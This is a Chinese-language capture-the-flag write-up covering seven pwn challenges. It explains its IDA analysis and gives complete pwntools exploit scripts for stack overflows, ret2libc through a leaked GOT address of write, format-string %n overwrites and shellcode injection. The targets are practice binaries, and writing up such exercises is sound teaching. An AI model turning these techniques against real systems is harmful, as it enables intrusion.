目录
hello_pwn
level0
guess_num
cgpwn2
level3
string
CGfsb
用ida打开查看源码:
接收最长16个字节,如果dword_60106C = 特定值 则执行sub_400686 这个函数是打印flag
构造payload使得第4个字节开始的数据转换成dword为特定值即可:
from pwn import *
r = remote("220.249.52.133",37341)
payload="aaaa"+p32(0x6E756161)
r.send(payload)
r.interactive()
ida打开:
既然是pwn题目,那肯定存在溢出,查看buf长度0x80,后面是push的ebp。再后面就是返回地址。
程序中也能找到"/bin/sh" 和system函数的地址,但是主流程没看到 /bin/sh的调用 向上查找调用发现了:
这个函数没有参数,直接让这个函数地址覆盖返回地址即可:
from pwn import *
r = remote("220.249.52.133",39187)
callsys_addr=0x400596
payload="a"*0x80+ "b"*8 +p64(callsys_addr)
r.send(payload)
r.interactive()
用ida打开:
箭头处依次是输入name,设置随机数种子, 游戏通关后打印flag
查看接收name的内存长度是0x20,后面16个字节的随机数种子。
可以将随机数种子覆盖为特定的值,这样每次产生的随机数序列相同,在本地(linux环境)写个C程序获取序列:
得到序列:
python代码:
from pwn import *
payload='a'*0x20 + p64(0) + p64(0)
num = [2, 5, 4, 2, 6, 2, 5, 1, 4, 2]
r=remote("220.249.52.133",55227)
r.recvuntil("Your name:")
r.sendline(payload)
for i in range(0, 10, 1):
r.recvuntil("-------------Turn:%d-------------\n"%(i+1))
r.sendline(chr(num[i]+0x30))
print(r.recvall())
得到flag:
ida查看,是32位程序,关键代码:
s地址:
system函数地址:
没有找到 可以执行的指令字符串地址,但是前面有个输入name 可以用输入的name构造:
'cat flag'或者'/bin/sh'之类的语句。
name的地址:
构造exp:
r=remote("220.249.52.133",36642)
bin_addr=0x0804A080
system_addr=0x08048420
payload= 'a'*0x26+'b'*4 + p32(system_addr)+p32(0)+p32(bin_addr)
r.recvuntil("please tell me your name")
r.sendline("cat flag")
r.recvuntil("hello,you can leave some message here:")
r.sendline(payload)
r.interactive()
得到flag:
这个题是比前面要难很多,可以学到寻找动态库中的函数和字符串的加载地址,看了好几个writeup并配合着执行稍微有点明白了。
1、ELF是CTF的Python库中pwntools的一个模块,用于获取ELF文件的信息,首先要使用ELF(‘文件名’)获取文件句柄
e=ELF(‘文件名’)
用到的几个函数:
获取函数地址:e.symbols[‘函数名’]
获取函数got表地址:e.got[‘函数名’]
获取函数PLT地址:e.plt[‘函数名’]
关于 GOT 和GLT 这里转载一张图片:
程序下载以后解压再解压可以得到可执行程序和libc的库文件,程序放到ida中可以找到溢出点:
buf长度0x88 后面就是ebp和返回地址。但是程序中没有找到system函数和bin_sh字符串,需要利用在libc对应的地址。
使用elf的 e.symbols[‘函数名’]可以获取函数在elf中的地址也就是偏移地址。
使用 search函数可以查找字符串在elf中的地址 也是偏移地址。
查看ida代码可知在执行read函数之前有执行write函数,所以GOT表中会有wirte函数的内存地址。
要想获得libc函数的加载地址,需要获取GOT中的内存地址,使用内存地址-偏移地址就是libc的内存地址。再通过libc地址+偏移地址就可以找到system和/bin/sh的地址。
write的内存地址是关键,如果远程返回给本地?通过打印输出,也就是write函数 在屏幕打印 got[‘write’]的值即可。
然后再构建payload时,write打印后的返回地址需要时main函数或者vulnerable_function函数的地址 让程序重新执行到read函数处进行第二次攻击:最终的exp如下:
from pwn import *
libc = ELF('./libc_32.so.6')
system_off = libc.symbols['system']
binsh_off = next(libc.search('/bin/sh\x00'))
write_off = libc.symbols['write']
elf=ELF('./level3')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
r=remote("220.249.52.133",46973)
payload='a'*0x88 +'b'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.readuntil("Input:\n")
r.send(payload)
write_addr = u32(r.recv(4))
print("write_addr:"+hex(write_addr))
base_addr= write_addr - write_off
print("base_addr:"+hex(base_addr))
system_addr=base_addr+system_off
print("system_addr:"+hex(system_addr))
binsh_addr=base_addr+binsh_off
print("binsh_addr:"+hex(binsh_addr))
payload='a'*0x88 +'b'*4+p32(system_addr)+p32(main_addr)+p32(binsh_addr)
r.readuntil("Input:\n")
r.send(payload)
r.interactive()
得到结果:
ida查看,在这里存在攻击点,但是前提是a1[0] == a1[1]
在main函数中可以找到对应的v4,并不相等,所以需要修改其中一个内存的值使其相等。
这里找到format字符串格式漏洞:
可以使用字符串格式化漏洞,修改a[0]的值,程序中打印出了两个数的地址也是提示点。
格式化字符串漏洞的一些资料https://bbs.pediy.com/thread-253638.htm
需要覆盖v4[0]为85即可:
exp:
#encoding=utf-8
from pwn import *
context.arch = 'amd64'
r=remote("220.249.52.133",43673)
r.recvuntil("secret[0] is ")
aa=r.readline()
a_addr=int("0x"+aa,16)
print("addr a:" + hex(a_addr))
r.recvuntil("What should your character's name be:")
r.sendline("aaa")
r.recvuntil("So, where you will go?east or up?:")
r.sendline("east")
r.recvuntil("go into there(1), or leave(0)?:")
r.sendline("1")
r.recvuntil("'Give me an address'")
r.sendline(str(a_addr))
r.recvuntil("And, you wish is:")
payload='a'*85+"%7$n"
r.sendline(payload)
r.recvuntil("SE YOU SPELL")
payload=asm(shellcraft.sh())
r.sendline(payload)
r.interactive()
菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用。
这个题目也是一个字符串格式化漏洞的题,与上一个不同的是需要在printf的字符串中构造覆盖的地址,
关键代码如下:
printf(&s)存在漏洞,后面判断条件为pwnme == 8 即将pwnme地址的内容覆盖为8即可。
pwnme地址:0x0804A068
输入数据s的地址:
由于是32位程序,参数使用栈传递,所以printf函数的第0个参数是输入的字符串s地址,第esp+4处是第1个参数(格式化参数开始),同理esp+28是第10个参数。得到payload:
payload=p32(addr_pwn)+'a'*4+"%10$n"
攻防世界创建环境失败了,本地测试:
from pwn import *
r=process("./cgfsb")
r.recvuntil("please tell me your name:")
r.sendline("aa")
r.recvuntil("leave your message please:")
addr_pwn=0x0804A068
payload=p32(addr_pwn)+'a'*4+"%10$n"
r.sendline(payload)
r.interactive()
得到flag: